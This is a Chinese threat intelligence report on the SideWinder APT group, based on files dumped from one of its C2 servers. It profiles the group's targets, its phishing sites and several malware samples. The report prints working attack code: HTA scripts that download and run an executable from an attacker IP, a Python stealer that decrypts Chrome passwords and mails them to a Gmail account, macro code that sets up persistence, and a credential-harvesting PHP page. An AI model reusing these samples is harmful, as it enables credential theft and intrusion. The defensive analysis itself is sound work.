直捣蛇窝 – SideWinder组织C2服务器揭秘

直捣蛇窝 – SideWinder组织C2服务器揭秘

概述

  SideWinder是一个至少从2012年就开始进行网络攻击的威胁组织,疑似来自印度。这个APT组织又被称为响尾蛇T-APT-04RattlesnakeAPT-C-17,是现今最活跃的组织之一。该组织主要是从事信息窃取和间谍活动,该组织的大多数的活动都集中在中国,巴基斯坦,阿富汗等国家,涉及的目标行业多为医疗,国防,政府和科技公司等。我们在针对最近一次攻击事件的分析中获得了SideWinder组织控制的其中一台服务器的SSH登录凭据。

关联攻击事件概要

  瑞星威胁情报平台于2023年11月捕获到一起针对尼泊尔的攻击事件。攻击者通过邮件发送给尼泊尔政府机构钓鱼文档。当用户双击文档执行宏代码后,会在%LocalAppData%目录下释放一些脚本文件,在启动目录下释放一个vbs脚本文件(脚本会执行指定的脚本文件),在%LocalAppData%\Microsoft目录下释放一个压缩文件(里面是一个Nim编写的后门程序)。据国内外安全厂商披露,该程序是BabyElephant组织开发的C++后门的变种,因为SideWinderBabyElephant的攻击具有高度的相似性,通过将本次攻击行动与SideWinder组织过往攻击事件对比分析,将本次捕获到的攻击行动归属于SideWinder组织。

我们对相关事件的响应时间线

事件 时间
发现SideWinder组织攻击事件 2023.11.25
撰写针对相关事件的分析报告,同时获取到了SSH登录凭据 2023.11.25-2023.12.11
利用SSH登录凭据登录并转储服务器上文件及数据库 2023.12.11
整理和分析获取的文件及数据库 2023.12.25-2024.5.13
撰写该分析报告 2024.5.14-2024.5.27

服务器信息概览

  本次获取到的SSH登录凭据对应的用户名为telum,我们提取了/etc/var/www/home/telum三个目录下的文件,此外还对MySQL数据库的内容进行了转储。

  服务器上的/etc/passwd文件内容如下:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
voldemort:x:1000:1000:,,,:/home/voldemort:/bin/bash
telum:x:1001:1001:,,,:/home/telum:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false

  根据文件内容可知,该服务器一共有3个可正常登录Shell的用户。

  /var/www目录下只有一个名为html的子目录,目录下包含大量钓鱼网站源文件以及部分恶意程序。目录下的恶意程序主要分为三类:木马下载器(脚本)、信息窃取木马和后门程序。

image

图:/var/www/html目录内容结构

  我们获取了telum用户的登录凭据,在该用户的home目录下同样也发现了一些恶意程序,主要分为两类:信息窃取木马和后门程序。

image

图:/home/telum目录内容结构

  两个后门程序分别为/home/telum/.local目录下名为error的文件,这是一个ELF格式的文件,实际为Sliver攻击框架生成的客户端;还有一个则包含在名为cloudAP.zip的加密压缩包内,相关内容会在后文中提及。而图上名为GlobalProtect64.msi的文件实际上是Palo Alto Network公司推出的GlobalProtect安装包。

  服务器上运行的MySQL实例里有一个名为target的数据库,内部包含46张数据库表,均和服务器上存储的钓鱼网站相关

image

图:target数据库内包含的表

攻击方式与攻击目标分析

  在服务器的/var/www/html目录下我们发现了大量钓鱼网站源文件以及部分恶意程序,服务器上运行的MySQL数据库也与钓鱼网站相关联,此外我们还发现了上文中提到的后门关联的部分服务端组件以及服务端为每个独立的受害者创建的文件/文件夹等数据。遗憾的是我们还原了服务器上加密保存的后门受害者的相关数据,并未发现有效的信息。钓鱼网站的目的以获取邮箱登录凭据为主,因此我们推断SideWinder可能会利用窃取来的邮箱登录凭据向攻击对象发送包含恶意附件的钓鱼邮件,以降低攻击目标的警惕性。

钓鱼网站攻击目标统计

  我们分析了在服务器上发现的所有的钓鱼网站源码并逐个进行攻击目标判断,发现该组织主要攻击的国家均为亚洲国家,而这台服务器的统计数据里尼泊尔阿富汗占比最高,分别为43.8%32.8%

国家 数量 占比
尼泊尔 60 43.8%
阿富汗 45 32.8%
缅甸 12 8.8%
斯里兰卡 6 4.4%
马尔代夫 6 4.4%
不丹 4 2.9%
中国 3 2.2%
卡塔尔 1 0.7%

  按时间来分类,该组织在2020年的攻击很频繁,占比48.9%,之后呈下降趋势,2022年的攻击数量最少,占比仅9.5%,但到2023年数量又有所回升。

时间 数量 占比
2023 17 12.4%
2022 13 9.5%
2021 40 29.2%
2020 67 48.9%

  具体各年份统计数据如下:

时间 国家 数量
2023 阿富汗 11
2023 尼泊尔 6
时间 国家 数量
2022 缅甸 3
2022 马尔代夫 3
2022 尼泊尔 3
2022 阿富汗 3
2022 不丹 1
时间 国家 数量
2021 阿富汗 16
2021 尼泊尔 14
2021 缅甸 8
2021 马尔代夫 1
2021 不丹 1
时间 国家 数量
2020 尼泊尔 37
2020 阿富汗 15
2020 斯里兰卡 6
2020 中国 3
2020 马尔代夫 2
2020 不丹 2
2020 缅甸 1
2020 卡塔尔 1

  按行业分类,目标行业以政府国防/军事为主,占比分别为40.9%18.3%

行业 数量 占比
政府 56 40.9%
国防/军事 25 18.3%
经济/商务 15 10.9%
交通/运输 12 8.8%
能源/电力 10 7.3%
通信/信息技术 9 6.6%
医疗/卫生 4 2.9%
文化/旅游 2 1.5%
教育 1 0.7%
环境 1 0.7%
媒体 1 0.7%
慈善组织 1 0.7%

钓鱼网站实际受害者统计

  我们对钓鱼网站关联的数据库内的数据进行了分析和筛选,发现该服务器上尼泊尔阿富汗提交的登录凭据占比最高,分别为74.7%17.3%

国家 数量 占比
尼泊尔 307 74.7%
阿富汗 71 17.3%
缅甸 30 7.3%
不丹 3 0.7%

  数据库表nepal包含最多的登录凭据,共钓取了93个登录凭据,关联的钓鱼网站针对的国家是尼泊尔

针对中国的钓鱼攻击

  上面的钓鱼网站统计里我们可以看到,共有3个针对中国的钓鱼网站,其中两个位于/var/www/html/&目录,另一个则位于/var/www/^/meacn目录

  两个位于/var/www/html/&目录的钓鱼网站,一个仿冒中华人民共和国外交部的邮件系统,另一个则是仿冒中华人民共和国商务部的邮件系统,文件的最后修改时间均在2020年底,因此有许多引用原站点的图片已经无法正常引用了

image

图:仿冒中华人民共和国外交部 邮件系统的钓鱼网站

image

图:仿冒中华人民共和国商务部 邮件系统的钓鱼网站

  两个站点均关联着名为mofa的数据库表,这个数据库表还关联着多个钓鱼网站。虽然我们转储的MySQL数据库内的确有相关数据库表,但经过检查发现内部并未包含从这两个站点钓取的登录凭据

  在/var/www/html/&/cmfa目录下,我们还发现了一份名为Wang Yi with_Maltese_Minister.pdf的诱饵文档(文件无害),PDF文档内容是王毅与马耳他外交与欧洲事务部长埃瓦里斯特·巴托洛通电话的新闻稿

image

图:诱饵文档内容

<html>
<head>

<script language="VBScript"> 

    Sub window_onload
    window.resizeTo screen.availWidth/10,screen.availHeight/10
window.moveTo screen.availWidth/-1,screen.availHeight/-1
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run "cmd.exe /K  curl http://185.163.47.226/%26/cmfa/Wang\ Yi\ with_Maltese_Minister.pdf --output Wang\ Yi\ with_Maltese_Minister.pdf --silent %26 Wang\ Yi\ with_Maltese_Minister.pdf %26  curl http://185.163.47.226/%26/cmfa/scvhost.txt --output my.txt --silent %26 rename my.txt my.exe  %26 my.exe %26 del /f my.exe %26 exit",0,True
        Set WshShell = Nothing 
        window.close true

End Sub
</script>

</html>

  诱饵文档由同目录下一个名为cmfa.hta的恶意文件触发下载(上面展示的是恶意文件的内容),该文件还会下载另一个恶意程序(文件名为scvhost.txt)。该目录下我们找到了对应的可执行文件,文件已经损坏,无法正常运行。但经过分析,我们认为这个文件与/var/www/html/$/nitc下的同名文件高度相似(该文件可以正常运行并表现出恶意行为),下表是同名文件的基本信息。我们将在后文分析其变种(服务器的/var/www/html目录下包含多个名为scvhost.txt的文件,各文件恶意行为基本一致,均属于信息窃取木马),此处不再展开分析

字段 内容
原始文件名 scvhost.txt
文件大小 14.3 MB (14,998,787 bytes)
文件MD5 86fe7c6a9216c1e3f051fc730da072ef
病毒名 Stealer.Agent/PYC!1.F206
文件类型 EXE
主要功能 窃取信息

  而另一个位于/var/www/^/meacn目录的网站,则是仿冒北京优越智腾咨询有限公司的Plesk管理后台登录页面(Plesk是一款服务器管理软件),文件的最后修改时间也在2020年底

image

图:仿冒北京优越智腾咨询有限公司的Plesk管理后台登录页面的钓鱼网站

  这个钓鱼网站与多个钓鱼网站共用一个名为mvdef的数据库表,经过检查发现内部均为无效数据

image

图:mvdef数据库表内容

典型案例分析

案例1:针对尼泊尔的钓鱼行动

  我们在服务器的/var/www/html/$/nepal目录下找到了一个名为bop Panchewor baitadi.rar的压缩包,内部包含多个恶意的快捷方式,疑似为钓鱼邮件内包含的恶意附件,并且同级目录下也有与该压缩包相关的其他恶意文件,此处我们对这组样本进行分析。

攻击流程图

image

诱饵文档内容

  由内容可知,该文档是尼泊尔内政部下属的警察部门发布的2020年尼泊尔恶行事件统计报告。

image

快捷方式分析

字段 内容
原始文件名 SN 270 No.41 btn.pdf.lnk
文件大小 1.75 KB (1,795 bytes)
文件MD5 7eb59dc87ac4757adbc17dae7474df27
病毒名 Downloader.Mshta/LNK!1.BADA
文件类型 LNK
主要功能 下载文件

  攻击者使用伪装成pdf文档的快捷方式作为初始攻击武器,由钓鱼网站、邮件等方式进行投递,诱骗用户启动执行。快捷方式的目标为C:\Windows\System32\mshta.exe hxxp://185.163.47.226/$/nepal/npa.hta,功能是调用系统工具mshta.exe执行位于远程服务器上的脚本。

HTA脚本分析

字段 内容
原始文件名 npa.hta
文件大小 591 bytes
文件MD5 b6ef99c2eb1fd2bdf8b49ced842f1abc
病毒名 Downloader.Agent/VBS!1.FBD1
文件类型 HTML
主要功能 下载文件

  位于远程服务器上的npa.hta实际为html文档,通过执行内嵌的VBScript脚本实现诱饵文档和恶意载荷的下载、执行等功能,其代码如下。

<html>
<head>
<script language="VBScript"> 
    Sub window_onload
        window.resizeTo screen.availWidth/10,screen.availHeight/10
        window.moveTo screen.availWidth/-1,screen.availHeight/-1
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run "cmd.exe /K  curl hxxp://185.163.47.226/$/nepal/2.pdf --output 2.pdf --silent & 2.pdf & curl hxxp://185.163.47.226/$/nepal/scvhost.txt --output my.txt --silent & rename my.txt my.exe  & my.exe & del /f my.exe & exit",0,True
        Set WshShell = Nothing 
        window.close true
    End Sub
</script>
</html>

信息窃取木马分析

字段 内容
原始文件名 scvhost.txt
文件大小 16.9 MB (17,729,640 bytes)
文件MD5 4af5e9611013eb5ef9d08a3cd66cb6a0
病毒名 Stealer.Agent/PYC!1.F206
文件类型 EXE
主要功能 窃取信息

  下载的scvhost.txt是由Python语言编写并使用PyInstaller打包的可执行程序,也是上文中提到的信息窃取木马的一个变种,负责从本地窃取信息然后经过编码、加密处理后以邮件方式传送给攻击者持有的邮箱,其中窃取的信息种类包括主机名、主机IP、公网IP、桌面文件以及浏览器本地数据等。

窃取桌面文件

  该病毒将读取位于用户桌面上指定类型的文件内容,然后经过编码处理后以邮件附件的方式发送到攻击者持有的邮箱,以此完成文件信息窃取。指定的文件类型包括jpgpngpdfcsvdocxdoctxtjpegxlsxxlsxmldotmdotgif

  发送邮件的代码如下:

def files_send(location):     #使用邮件发送信息,参数为文件路径
    email = 'a1b2c3d9e8@gmail.com'  #攻击者持有的邮箱地址
    password = 'qwerty@12345'
    subject = str(location.split('/')[-1])  #获取文件名
    message = ''
    msg = MIMEMultipart()
    msg['From'] = email
    msg['To'] = email
    msg['Subject'] = subject
    msg.attach(MIMEText(message, 'plain'))
    filename = os.path.basename(location)
    attachment = open(location, 'rb')   #读取文件内容
    part = MIMEBase('application', 'octet-stream')
    part.set_payload(attachment.read())
    encoders.encode_base64(part)   #base64编码处理
    part.add_header('Content-Disposition', 'attachment; filename= %s' % filename)
    msg.attach(part)    #数据以附件方式随邮件一起发送
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email, password)   #登录邮箱
    text = msg.as_string()
    server.sendmail(email, email, text) #发送邮件,此处收件人和发件人为同一地址
    server.quit()
窃取主机信息

  攻击者窃取的主机信息包括桌面文件列表、主机名、IP地址,经过base64编码处理后以邮件方式发送给攻击者。

#用户桌面文件列表
user_name = getpass.getuser()
desktop_loc = 'C:\\Users\\' + user_name + '\\Desktop'
command = 'cd ' + desktop_loc + ' & dir'
result_desktop_dir = subprocess.check_output(command, shell=True, universal_newlines=True)
data = 'Desktop Directory: \n' + result_desktop_dir + '\n'

#主机名、Ip地址
hostname = str(socket.gethostname())
local_ip = str(socket.gethostbyname(hostname))址
public_ip = str(requests.get('hxxp://ip.42.pl/raw').text)

#发送数据
final_data_2 = data + '\n\nusername of cpu: ' + user_name + '\t' + 'hostname: ' + hostname + '\tprivate ip: ' + local_ip + '\tpublic ip: ' + public_ip + '\n\n\n' + dt
dump1 = final_data_2.encode('utf-8')
dump641 = base64.b64encode(dump1)
base64_dump1 = dump641.decode('utf-8')
send_mail('a1b2c3d9e8@gmail.com', 'qwerty@12345', base64_dump1) #执行函数send_mail发送邮件

  函数send_mail的代码如下:

def send_mail(email, password, message):
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()
窃取浏览器密码

  攻击者此处只获取了chrome浏览器存储于本地的用户数据,包括历史记录、用户密码等。

#浏览器存储于本地的信息,站点、用户名、密码等
try:
    master_key = get_master_key()   #从local state中提取密钥
    login_db = os.environ['USERPROFILE'] + os.sep + 'AppData\\Local\\Google\\Chrome\\User Data\\default\\Login Data'
    shutil.copy2(login_db, 'Loginvault.db')
    conn = sqlite3.connect('Loginvault.db')
    cursor = conn.cursor()
    passwords = ''
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
    for r in cursor.fetchall():
        url = r[0]
        username = r[1]
        encrypted_password = r[2]
        decrypted_password = decrypt_password(encrypted_password, master_key)  #使用提取的密钥对密钥执行AES加密
        passwords += 'URL: ' + url + '\nUser Name: ' + username + '\nPassword: ' + decrypted_password + '\n'

#浏览器历史记录
dict_obj = bh.get_browserhistory() 
history_chrome = dict_obj['chrome'][0:20]

#用户数据密文 + 浏览器历史记录
final_data = passwords + '\n\n\n' + 'History Chrome:\n\n' + str(history_chrome) 
dump = final_data.encode('utf-8')
dump64 = base64.b64encode(dump)
base64_dump = dump64.decode('utf-8')
sending = 'c2VuZF9tYWlsKCJhMWIyYzNkOWU4QGdtYWlsLmNvbSIsInF3ZXJ0eUAxMjM0NSIsYmFzZTY0X2R1bXAp'
ddata = base64.b64decode(sending)
#解码后内容为:send_mail("a1b2c3d9e8@gmail.com","qwerty@12345",base64_dump)
eval(compile(ddata, '<string>', 'exec'))

案例2:针对Nucleus Vision投资者的钓鱼行动

  我们在服务器的/var/www/html/NV目录下找到了一个名为nucleus coins calculator.xlsm的Excel表格,但该表格包含密码。我们使用字典爆破获得了密码asdfghjkl。该表格包含恶意宏代码,且同级目录下也有配套的钓鱼网站源文件,此处我们对该样本进行分析。

攻击流程

image

图:/var/www/html/NV的目录结构

  配套的钓鱼网站(对应index.html文件)针对的是Nucleus Vision(简称NCASH)这个加密货币的投资者。

image

图:钓鱼网站截图

  攻击者疑似通过钓鱼邮件诱导投资者访问钓鱼网站提交登录凭据,凭据将提交至同目录下的index.php

$servername = "localhost";
$username = "root";
$password = "4rfvBHU*9ol.";
$dbname= "vision";
$conn = mysqli_connect($servername, $username, $password, $dbname);
$url='nucleus coins calculator.xlsm';
$ip=get_client_ip();
$useragent= $_SERVER['HTTP_USER_AGENT'];

// Check connection
if(!$conn){
    die("ERROR: Could not connect. " . mysqli_connect_error());
}

// Escape user inputs for security
//$username = mysqli_real_escape_string($conn, $_REQUEST['username']);
//$password = mysqli_real_escape_string($conn, $_REQUEST['password']);
 $username=$_POST['email']; 
$password= $_POST['psw'];
// Attempt insert query execution
$sql = "INSERT INTO vision.nucleus (username, password,ipaddress,accesstime,signature) VALUES ('$username', '$password','$ip','$accesstime','$useragent')";
if(mysqli_query($conn, $sql)){
    header('Location: '.$url);
} else{
    echo "ERROR: Could not able to execute $sql. " . mysqli_error($conn);
}

  PHP网页文件内将收集来的登录凭据保存至本地的数据库内名为vision的数据库表(很遗憾我们并未在当前服务器运行的MySQL数据库中找到对应的数据库表),随后跳转下载宏文档发起攻击。当受害者点击宏文档执行宏代码后,宏代码会在受害者机器上释放三个文件(分别是WindowsSecurity.zipa.bat以及invisible2.vbs),然后通过创建计划任务去启动invisible2.vbsinvisible2.vbs会解压WindowsSecurity.zip获得WindowsSecurity.exe远控木马程序,接着启动a.bat。最后通过a.bat执行WindowsSecurity.exe远控木马。

image

恶意文档内容

  nucleus coins calculator.xlsm宏文档展示的内容主要是关于加密货币的一些投资信息。为了诱使受害者运行宏代码,攻击者会将文档的内容进行遮挡。当受害者运行宏代码后,遮挡图片被删除,文档内容将会显示出来。

image

nucleus coins calculator.xlsm分析

字段 内容
文件名 nucleus coins calculator.xlsm
文件MD5 C76C70142285F300C14E94A24BA5ECFE
文件类型 xlsm
文件大小 1442816 bytes

  宏代码会从UserForm1窗体中获取WindowsSecurity.zip压缩包文件,并将该压缩包存于%appdata%目录下。

Open path_file & ".zip" For Binary Access Write As #3
Put #3, , btsGohra7
Close #3

  在%appdata%目录下创建a.bat

invbsFile1 = appDataPath & Chr(92) + Chr(97) + Chr(46) + Chr(98) + Chr(97) + Chr(116) 
Set objFile = objFSO.CreateTextFile(invbsFile1, True)
objFile.Writeline "schtasks /create /SC minute /MO 2 /TN WindowSecurityPatch /TR " & Chr(34) & filename2 & Chr(34) & " /F"
objFile.Close

  在%appdata%目录下创建invisible2.vbs

Set objFile = objFSO.CreateTextFile(invbsFile2, True)
objFile.Writeline "Set oApp = GetObject(""new:13709620-C279-11CE-A49E-444553540000"")"
objFile.Writeline "oApp.Namespace(" & Chr(34) & appDataPath & Chr(34) & ").CopyHere oApp.Namespace(" & Chr(34) & filename1 & Chr(34) & ").items"
objFile.Writeline "GetObject(""new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"").Run " & Chr(34) & appDataPath & "\a.bat" & Chr(34) & ", 0, False"
objFile.Close

  创建一个名为UpdateTask的计划任务来执行%appdata%目录下的invisible2.vbs。该任务在当前时间30秒后开始执行,并在开始60秒后结束触发。

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Microsoft Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
Dim endTime: ts = DateAdd("s", 60, Now)
endTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.EndBoundary = endTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = invbsFile2
Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3)

  删除遮挡图片,显示文档内容

ActiveSheet.Pictures.Delete

invisible2.vbs分析

字段 内容
文件名 invisible2.vbs
文件MD5 8FAE258A3250E7C142F7B08C7EB66D91
文件大小 298 bytes
文件类型 VBScript
文件目的 运行a.bat

  invisible2.vbs的目的是将WindowsSecurity.zip压缩包中的WindowsSecurity.exe程序提取出来存于%appdata%目录下,然后运行a.bat

Set oApp = GetObject("new:13709620-C279-11CE-A49E-444553540000")
oApp.Namespace("C:\Users\gg\AppData\Roaming").CopyHere oApp.Namespace("C:\Users\gg\AppData\Roaming\WindowSecurity.zip").items
GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run "C:\Users\gg\AppData\Roaming\a.bat", 0, False

a.bat分析

字段 内容
文件名 a.bat
文件MD5 2CA0C218B06E0157822C6DB10624BDBA
文件大小 115 bytes
文件类型 bat
文件目的 创建计划任务启动WindowSecurity.exe

  a.bat目的是创建一个名为WindowSecurityPatch的计划任务来每两分钟执行一次%appdata%\WindowSecurity.exe

schtasks /create /SC minute /MO 2 /TN WindowSecurityPatch /TR "C:\Users\gg\AppData\Roaming\WindowSecurity.exe" /F

WindowsSecurity.exe分析

字段 内容
文件名 WindowsSecurity.exe
文件MD5 4752856003C476608DC1944338506212
文件大小 1661024 bytes
文件类型 EXE
病毒名 Backdoor.[SideWinder]Agent!1.F03A

  我们已在早期报告中分析过类似的样本(TODO:请市场部在这里贴上早期报告的网页链接),这里不再赘述。此样本中通信的C2服务器地址如下:

hxxp://sltmobitel.hopto.org/
hxxp://sltelecom.servehttp.com/
hxxp://lankabelltd.myftp.org/
hxxp://bankofceylon.sytes.net/
hxxp://expolanka.serveftp.com/
hxxp://srilankanairlines.redirectme.net/

一些其他的发现

  • 服务器上还有一个名为cloudAP.zip的加密压缩包,存储于/var/www/html下(在/home/telum下也有一份同样的文件),该压缩包的密码强度并不高,同样被我们爆破出来(密码为##),解压后获得cloudAP.exe。该样本为xRAT远控木马,C2服务器地址为telenor-mm.myftp.org
  • 在服务器的/var/www/html目录下我们还发现了许多文本格式的文件(在/home/telum下也有类似的文件),内容均为-----BEGIN CERTIFICATE-----+base64编码的可执行文件+-----END CERTIFICATE-----,这些文件可以使用Windows系统内置的certutil工具将其还原为可执行文件,我们推断SideWinder的部分攻击中可能先下载这类文件然后调用certutil进行还原随后执行,此方案可以逃逸防火墙等网络流量监测软件/设备的检测
  • 服务器上与钓鱼网站相关的所有的PHP网页文件(用于收集页面上用户输入的账号密码并将其保存至本地的MySQL数据库)内,均包含将默认时区设置为Asia/kolkata的代码($date = date_default_timezone_set('Asia/kolkata');),而这个时区正是印度使用的时区

我们得出的结论

  • SideWinder的确很有可能是一个来自印度的APT组织
  • SideWinder主要攻击的目标是亚洲国家,而且以南亚中亚国家为主
  • SideWinder主要攻击的行业为政府国防/军事
  • SideWinder主要的攻击方式仍是最常见的钓鱼邮件,最终目的以信息窃取为主
  • SideWinder的攻击频率有回升趋势

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

  4. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • 瑞星病毒名
    Backdoor.[SideWinder]Agent!1.EFFF
    Backdoor.[SideWinder]Agent!1.F03A
    Backdoor.[SideWinder]Agent!1.FACE

Author